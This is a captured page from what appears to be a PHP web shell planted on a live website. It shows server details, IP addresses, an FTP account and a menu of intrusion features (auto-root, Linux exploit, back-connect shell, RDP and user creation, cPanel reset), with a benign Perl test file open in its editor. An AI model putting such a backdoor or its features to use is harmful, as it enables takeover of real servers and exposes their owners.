Linux server.thearyasamaj.org 4.18.0-553.56.1.el8_10.x86_64 #1 SMP Tue Jun 10 05:00:59 EDT 2025 x86_64
Apache
: 103.90.241.146 | : 216.73.216.222
Cant Read [ /etc/named.conf ]
5.6.40
ftpuser@mantra.thearyasamaj.org
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
usr /
share /
doc /
perl-Devel-GlobalDestruction /
t /
[ HOME SHELL ]
Name
Size
Permission
Action
01_basic.t
2.06
KB
-rw-r--r--
02_thread.t
909
B
-rw-r--r--
03_minusc.t
872
B
-rw-r--r--
04_phases.t
1.13
KB
-rw-r--r--
05_thread_clone.t
1.71
KB
-rw-r--r--
06_load-in-gd.t
770
B
-rw-r--r--
10_pure-perl.t
1.02
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : 03_minusc.t
use strict; use warnings; BEGIN { if ($ENV{DEVEL_GLOBALDESTRUCTION_PP_TEST}) { unshift @INC, sub { die 'no XS' if $_[1] eq 'Devel/GlobalDestruction/XS.pm'; }; } } { package Test::Scope::Guard; sub new { my ($class, $code) = @_; bless [$code], $class; } sub DESTROY { my $self = shift; $self->[0]->() } } sub ok ($$) { print "not " if !$_[0]; print "ok"; print " - $_[1]" if defined $_[1]; print "\n"; !!$_[0] } BEGIN { require B; B::minus_c(); print "1..3\n"; ok( $^C, "Test properly running under minus-c" ); } use Devel::GlobalDestruction; BEGIN { ok !in_global_destruction(), "BEGIN is not GD with -c"; } our $foo; BEGIN { $foo = Test::Scope::Guard->new( sub { ok( in_global_destruction(), "Final cleanup object destruction properly in GD" ) or do { require POSIX; POSIX::_exit(1); }; }); }
Close
